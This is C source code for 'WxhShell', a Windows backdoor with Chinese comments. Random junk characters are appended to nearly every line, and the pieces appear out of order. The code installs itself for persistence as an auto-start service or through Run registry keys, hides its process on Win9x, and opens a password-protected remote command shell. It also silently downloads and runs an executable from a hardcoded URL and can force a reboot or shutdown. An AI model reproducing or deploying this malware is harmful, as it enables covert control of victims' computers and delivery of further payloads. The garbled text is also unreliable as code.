DWORD PebBaseAddress; 6mIeV0Q'
DWORD AffinityMask; *=]UWM~]
DWORD BasePriority; Bs|#7mA[
ULONG UniqueProcessId; JaR!9GVN7
ULONG InheritedFromUniqueProcessId; WRRR "Q$
} PROCESS_BASIC_INFORMATION; >L8 &6aU
T!pA$eE
PROCNTQSIP NtQueryInformationProcess; DjiI*HLNR
!HtW~8|:
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /!.]Y8yEH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]dV$H
i5_l//]
HANDLE hProcess; Ji1# >;&
PROCESS_BASIC_INFORMATION pbi; X)=m4\R
YG5mzP<T
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w_;$ahsu~
if(NULL == hInst ) return 0; kIe)ocJg
LF)wn-C}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <]_[o:nOP
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rmFcSolt,f
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;TK$?hrv*1
C1qlB8(Wh>
if (!NtQueryInformationProcess) return 0; ^; }Y ZBy
hSN38wy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *.VNyay
if(!hProcess) return 0; ~]9EhC'l
0QW;=@)d
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ls3r( Tf
)T&r770
CloseHandle(hProcess); k'sPA_|
-a"b:Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O%aHQL%Sz
if(hProcess==NULL) return 0; gR_Exs'K
b`Jsu!?{
HMODULE hMod; K( ?p]wh
char procName[255]; p;D
{?H/
unsigned long cbNeeded; aZ|S$-}
RMid}BRE
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e?
|4O<@
!t{
CloseHandle(hProcess); ,w=u?
F}@]Lq+
if(strstr(procName,"services")) return 1; // 以服务启动 `D$RL*C;M`
o{l]n*
return 0; // 注册表启动 |TF6&$>d
} V@EyU/VJ
\JCpwNT{P
// 主模块 *Uf>Xr&
int StartWxhshell(LPSTR lpCmdLine) Hq?dqg' %~
{ G
c,
SOCKET wsl; sheCwhV
BOOL val=TRUE; SP>&+5AydX
int port=0; V?jWp$
struct sockaddr_in door; a1Q W0d
sv#b5,>9
if(wscfg.ws_autoins) Install(); }}"|(2I
S0LaQ<9.
port=atoi(lpCmdLine); [l7n"gJ~
|eJR3o
if(port<=0) port=wscfg.ws_port; r029E-
@~&^1%37)
WSADATA data; YOA)paq+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g;7u-nP
"x0KiIoPk
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R+=wSG ]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xX Dj4j,
door.sin_family = AF_INET; ''q#zEf6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H7meI9L
door.sin_port = htons(port); O3#eQs
N&|,!Cu
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qG]0z_dPE~
closesocket(wsl); 'tjqfR
return 1; 1xO-tIp/
} IABF_GwF
PY&mLux%
if(listen(wsl,2) == INVALID_SOCKET) { NK:! U
closesocket(wsl); JBLh4c3
return 1; ,rNud]NM8
} 8q:#
'
Wxhshell(wsl); o*oFCR]j
WSACleanup(); VssWtL
"M^mJl&*b
return 0;
IA`Lp3Z
(Ap?ixrR_
} J=HN~B1
'T;;-M3*
// 以NT服务方式启动 @3S:W2k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "z_},TCy
{ D6C h6i5$
DWORD status = 0; 6` Aw!&{
DWORD specificError = 0xfffffff; O]Yz7
uH[:R vC0
serviceStatus.dwServiceType = SERVICE_WIN32; Q\btl/?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; da@W6Ov x
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %J1oz3n
serviceStatus.dwWin32ExitCode = 0; #wZH.i#
serviceStatus.dwServiceSpecificExitCode = 0; JU)k+:\a
serviceStatus.dwCheckPoint = 0; 4U u`1gtz
serviceStatus.dwWaitHint = 0; S6fbwZZMG
QbY@{"" `
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fVdu9 l
if (hServiceStatusHandle==0) return; 0sB[]E|7[s
\Pe+]4R-Xo
status = GetLastError(); 62K#rRS
if (status!=NO_ERROR) rj4R/{h
{ zJ@^Bw;A^@
serviceStatus.dwCurrentState = SERVICE_STOPPED; C;.,+(G
serviceStatus.dwCheckPoint = 0; Aq\K N.
serviceStatus.dwWaitHint = 0; RdNLf
serviceStatus.dwWin32ExitCode = status; *dPbV.HCl
serviceStatus.dwServiceSpecificExitCode = specificError; p./0N.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;WgUhA
;q
return; OB*V4Yv
} RaP,dR+P
T)',}=
serviceStatus.dwCurrentState = SERVICE_RUNNING; NOKU2d4 G
serviceStatus.dwCheckPoint = 0; JV_VM{w{K
serviceStatus.dwWaitHint = 0; 0sTR`Xk
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2<n@%'OQp
} q%dbx:y#
[+!&iN
// 处理NT服务事件,比如:启动、停止 qB&Je$_uh
VOID WINAPI NTServiceHandler(DWORD fdwControl) o^m?w0 \
{ uL^`uI#I
switch(fdwControl) 5HIQw9g6
{ vo%"(!
case SERVICE_CONTROL_STOP: 2U(qyC
serviceStatus.dwWin32ExitCode = 0; Yy6$q\@rV
serviceStatus.dwCurrentState = SERVICE_STOPPED; W+$G{XSr5C
serviceStatus.dwCheckPoint = 0; =G"ney2
serviceStatus.dwWaitHint = 0; bZ``*{I/
{ PTqia!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0m"Ni:KEf
} XUD Ztxa
return; ZY@ntV?
case SERVICE_CONTROL_PAUSE: (.VS&Kv#U
serviceStatus.dwCurrentState = SERVICE_PAUSED; +-,iC6kK
break; wm_rU]
case SERVICE_CONTROL_CONTINUE: K Hgn
serviceStatus.dwCurrentState = SERVICE_RUNNING; "?<h,Hvi
break; ge<D}6GQ
case SERVICE_CONTROL_INTERROGATE: x":o*(rSQ
break; Aa4Tq2G
}; 8/&4l,M5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ks@cwY
} " 0m4&K(3,
C,GZ
// 标准应用程序主函数 ;{q*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xV
2C4K
{ !a-B=pn!]
i^V(LGQF
// 获取操作系统版本 V; CPn
OsIsNt=GetOsVer(); ,wXmJ)/WZ
GetModuleFileName(NULL,ExeFile,MAX_PATH); [[zNAq)"
6bLn8UT
// 从命令行安装 R&a$w8
if(strpbrk(lpCmdLine,"iI")) Install(); 0bT[05.
9dBxCdpu
// 下载执行文件 [uLsM<C
if(wscfg.ws_downexe) { h /^bRs`;
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q2uV/M1?
WinExec(wscfg.ws_filenam,SW_HIDE); I.GoY[u_%
} |ns?c0rM
$LFL4Q
if(!OsIsNt) { $(Mz@#%
// 如果时win9x,隐藏进程并且设置为注册表启动 ovBmo2W/
HideProc(); (Bd'Pj]:
StartWxhshell(lpCmdLine); tiHR&v
} 3RT\G0?8f
else "\KBF
if(StartFromService()) $|.8@
nj
// 以服务方式启动 kFV, Fg
StartServiceCtrlDispatcher(DispatchTable); V3cKbk7~
else |E.BGdS
// 普通方式启动 F_jHi0A
StartWxhshell(lpCmdLine); ]|+M0:2?
dK4rrO
return 0; JcA+ztPU
} <7`zc7c]#
VL$
T
a4=(z72xe
@qq"X'3t
=========================================== G9 O6Fi
X["xC3 i
(Y@T5-!D
U/QgO
pX?3inQP%(
Bhd)# P
" cN8Fn4gq
pB8D
#include <stdio.h> bYnq,JRA
#include <string.h> "+-
'o+
#include <windows.h> #e|o"R;/`
#include <winsock2.h> f7lj,GAZ
#include <winsvc.h> a3tcLd|7J
#include <urlmon.h> .4)oZ
MK=oGzK
#pragma comment (lib, "Ws2_32.lib") . : Wf>:
#pragma comment (lib, "urlmon.lib") 2Jd(@DcJ2C
*WQ?r&[_'
#define MAX_USER 100 // 最大客户端连接数 iM)K:L7d
#define BUF_SOCK 200 // sock buffer VAz4@r7hkq
#define KEY_BUFF 255 // 输入 buffer gHrs|6q9
f
+{=##'0
#define REBOOT 0 // 重启 qTr P@F4`g
#define SHUTDOWN 1 // 关机 FklR!*oL,)
jtP*C_Scv/
#define DEF_PORT 5000 // 监听端口 ,,gMUpL7_8
Zj2 si
#define REG_LEN 16 // 注册表键长度
?<EzILM
#define SVC_LEN 80 // NT服务名长度 ew~Z/ A
@MES.g
// 从dll定义API wtY)(ka
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4]h/t&ppq
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z8#nu
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &q-&%~E@
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p%I'd^}.!
rx1u*L
// wxhshell配置信息 EAGvP&~P
struct WSCFG { !C#oZU]P
int ws_port; // 监听端口 d_yvG.#C
char ws_passstr[REG_LEN]; // 口令 ^l!SIu
int ws_autoins; // 安装标记, 1=yes 0=no V`^*Z}d9
char ws_regname[REG_LEN]; // 注册表键名 V]F D'XAl
char ws_svcname[REG_LEN]; // 服务名 {EoYU\x
char ws_svcdisp[SVC_LEN]; // 服务显示名 gjDNl/r/
char ws_svcdesc[SVC_LEN]; // 服务描述信息 *[Z`0AgP
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .~f )4'T 9
int ws_downexe; // 下载执行标记, 1=yes 0=no `Nx@MPo
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i1vz{Tc
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IzpE|8l
)QE6X67i
}; xE:jcA
d$}
lYG`)#T
// default Wxhshell configuration ^wIB;!W
struct WSCFG wscfg={DEF_PORT, }?s-$@$R
"xuhuanlingzhe", 41X`.
1, NnLK!Q
"Wxhshell", LZV- E=`
"Wxhshell", F1#{(uW
"WxhShell Service", z
&EDW5I
"Wrsky Windows CmdShell Service", ieZ$@3#&z
"Please Input Your Password: ", {rc3`<%
1, )p\`H;7*V4
"http://www.wrsky.com/wxhshell.exe", ywwA,9~
"Wxhshell.exe" "ko*-FrQ
}; \l GD8@,x
q\EYsN</;
// 消息定义模块 J@5iD
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /wJ#-DZ
char *msg_ws_prompt="\n\r? for help\n\r#>"; X30tO>
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cp`Jep<T
char *msg_ws_ext="\n\rExit."; \CjJa(vV
char *msg_ws_end="\n\rQuit."; g *Js4
char *msg_ws_boot="\n\rReboot..."; xX<f4H\'
char *msg_ws_poff="\n\rShutdown..."; mw"FQ?bJ
char *msg_ws_down="\n\rSave to "; fd'kv
[7I:Dm
char *msg_ws_err="\n\rErr!"; :h(HKMSk1
char *msg_ws_ok="\n\rOK!"; +#Pb@^6"m
cY5&1Shb~
char ExeFile[MAX_PATH]; ,Cr%2Wg-
int nUser = 0; `etw[#~N
HANDLE handles[MAX_USER]; 0AO^d[v
int OsIsNt; ~+\=X`y
q;eb
SERVICE_STATUS serviceStatus; eK7A8\;e
SERVICE_STATUS_HANDLE hServiceStatusHandle; 5M5Bm[X
:
@|Rj_S;
// 函数声明 ;%n'k
int Install(void); u"0{)
,
int Uninstall(void); YS|Dw'%g /
int DownloadFile(char *sURL, SOCKET wsh); Mq0MtC6-
int Boot(int flag); x1 |/
void HideProc(void); @aS)=|Ls\
int GetOsVer(void); &wQ;J)13
int Wxhshell(SOCKET wsl); |=q~X}DA
void TalkWithClient(void *cs); v2x+_K}J
int CmdShell(SOCKET sock); \TP$2i%W
int StartFromService(void); pT,8E(*l2
int StartWxhshell(LPSTR lpCmdLine); ("a@V8M`$F
J1w[gf]J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [<XYU,{R
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sa.H,<;
/h53;$zK
// 数据结构和表定义 yY8zTWji_
SERVICE_TABLE_ENTRY DispatchTable[] = 3q%z
{ 9QU\J0c/
{wscfg.ws_svcname, NTServiceMain}, cW*v))@2
{NULL, NULL} v< P0f"GH
}; e|k]te
_$UJ'W})/
// 自我安装 h7Uj "qH
int Install(void) 6Q :Wo)^!
{ Oi\ s
char svExeFile[MAX_PATH]; vEI{AmogRx
HKEY key; Ck/44Wfej
strcpy(svExeFile,ExeFile); dfFw6R
d[6 'w ?
// 如果是win9x系统,修改注册表设为自启动 %_|KiW
if(!OsIsNt) { [63\2{_^v
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C_J@:HlJ
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;a?<7LIx
RegCloseKey(key); ?>;b,^4
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r|l?2 eO~
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $I9&cNPv
RegCloseKey(key); LcGKYl(\K
return 0; 3@" :&
} 1
*'
/B
} %np(z&@wi
} BWxfY^,'&6
else { 6,5h4[eF*
H~yHSm 3
// 如果是NT以上系统,安装为系统服务 'xta/@Sq
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e :HORc~U
if (schSCManager!=0) zr!7*,
p
{ 9D14/9*(dU
SC_HANDLE schService = CreateService tU?BR<q
( CT'4.
schSCManager, ;B@#,6t/
wscfg.ws_svcname, S${%T$>
wscfg.ws_svcdisp, 8gavcsVE[
SERVICE_ALL_ACCESS, %%K3J<5
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t]SB.ja
SERVICE_AUTO_START, Z}t;:yhR
SERVICE_ERROR_NORMAL, :;_}Gxx
svExeFile, HrE, K\^
NULL, ,f^fr&6jb
NULL, ;h1hz^Wq
NULL, \0~?i6o
NULL, <%YW/k"o
NULL 7RDmvWd-'?
); m}z6Bbis 0
if (schService!=0) d 0B`5#4
{ a]*{!V{$i
CloseServiceHandle(schService); E0I/]0
CloseServiceHandle(schSCManager); curYD~7
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rG?5z"
strcat(svExeFile,wscfg.ws_svcname); c@g(_%_|2
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HWV A5E[`Y
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oh-EEo4,
RegCloseKey(key); -r,v3n
return 0; B:X%k/{
} VLV]e_D6s
} `^Ll@Cx"
CloseServiceHandle(schSCManager); [;{xiW4V]
} 8SU0q9X.
} qRaPh:Q'
;.AMP$o`(Y
return 1; }>M\iPO.]*
} W! $U{=
r^6@Zwox]
// 自我卸载 v)np.j0V7
int Uninstall(void) j*>Df2z
{ qeFaY74S
HKEY key; T;3qE1c
8?8V;
if(!OsIsNt) { iDcTO}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tv1oy%dK
RegDeleteValue(key,wscfg.ws_regname); zgz!"knVx
RegCloseKey(key); C-A?
mIC
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AmC9qk8Q
RegDeleteValue(key,wscfg.ws_regname); y0Gblza
RegCloseKey(key); I(AlRh
return 0; z2{y<a9;?
} !U:&8Le
} |J4sQ!%K
} |=ph&9
else { Z$INmo6
TrzAgNt
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vE,^K6q0`
if (schSCManager!=0) i7-i!`<
{ ;6 W[%{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {St-
if (schService!=0) &lU\9
{ e YP^.U)
if(DeleteService(schService)!=0) { h STcL:b
CloseServiceHandle(schService); ,,G"EF0A
CloseServiceHandle(schSCManager); a T(]
return 0; )#z{P[X^
} ROn@tW
CloseServiceHandle(schService); K"VcPDK
} .'A1Eoo0d
CloseServiceHandle(schSCManager); ~tWh6-:|{J
} OS`jttU@
} ?7V~>i8[
CR23$<FC
return 1; $ c-O+~
} P<Bx1H-z-
Bk3\NPa
// 从指定url下载文件 p~3x=X4
int DownloadFile(char *sURL, SOCKET wsh) E,tdn#_|
{ /d}"s.3p
HRESULT hr; MG=8`J-`
char seps[]= "/"; %w[Z/
char *token; :8eI_X
char *file; 9s_^?q
char myURL[MAX_PATH]; {|>Wwa2e
char myFILE[MAX_PATH]; O!nS3%De
\8$~ i
strcpy(myURL,sURL); "G%</G8M
token=strtok(myURL,seps); 2#:p:R8I>
while(token!=NULL) .B<Bqr@?8
{ 7^#f)Vp
file=token; 4 @{?4k-cq
token=strtok(NULL,seps); O=+$XPa|
} /;(ji?wN
XfE9QA[
GetCurrentDirectory(MAX_PATH,myFILE); 4j=K3m
strcat(myFILE, "\\"); P#!N
strcat(myFILE, file); -_Z 4)"k
send(wsh,myFILE,strlen(myFILE),0); u#EcR}=]
send(wsh,"...",3,0); -->0e{y
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v]{UH{6
if(hr==S_OK) CR'%=N04^
return 0; qJ`:$U
else l90"1I A
return 1; MAkr9AKb,
\AroSy9
} 2lsUCQI;
1}a4AGAp
// 系统电源模块 p"
>*WQ
int Boot(int flag) G*+^b'7
{ ) %Fwfb
HANDLE hToken; :1UMA@HP
TOKEN_PRIVILEGES tkp; NCkI[d]B@
#}y8hzS$
if(OsIsNt) { VSY p
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B ktRA
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \wA:58 -j
tkp.PrivilegeCount = 1;
Qh&Qsyo%
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7C7.}U
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `5@F'tKQ
if(flag==REBOOT) { <r:AJ;
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &$/
#"lW,V
return 0; wUCxa>h'
} 9(TGkz(NA
else { ia'z9
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zw+aZDcV(
return 0; yV8J-YdsG
} 7m-%
} `RnWh9
else { RA[j=RxK
if(flag==REBOOT) { 95mf
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VdK%m`;2
return 0; C*(
} D8Fi{?A#FV
else { "9s_[e
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iwJ_~
return 0; JaY"Wfc
} v~Q'm1!O4\
} hU#e\L 7
)cJ>&g4]
return 1; TsTc3
} YGyv)\
\2s`mCY
// win9x进程隐藏模块 bGWfMu=n
void HideProc(void) Eu?z!
{ f(5(V
%
Q|AZv>'!
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5X!-Hj
if ( hKernel != NULL ) Tzex\]fw
{ 5YD~l(,S1]
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :k/Xt$`
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =hKAwk/^
FreeLibrary(hKernel); -x//@8"
} ?mg@z q8
h+[6i{
return; -@#w)
} X 0y$xC|<
F^O83[S
// 获取操作系统版本 @z@%vr=vX
int GetOsVer(void) 8?+|4:#=*J
{ k]@]a
OSVERSIONINFO winfo; W" 5nS =d%
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,L/ x\_28
GetVersionEx(&winfo); (wDE!H7
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7N9NeSH
return 1; P3_.U8g$r
else @ma(py
return 0; bU!
v
} p>B2bv+L
]i*ucW4
// 客户端句柄模块 xl\Kj2^
int Wxhshell(SOCKET wsl) s*izhjjX
{ ukWn@q*
SOCKET wsh; Q7s@,c!m_
struct sockaddr_in client; C ^Y\?2h1
DWORD myID; @tH9$J*Y<
OR<+y~Rv
while(nUser<MAX_USER)
qyH-Z@
{ `S
{&gl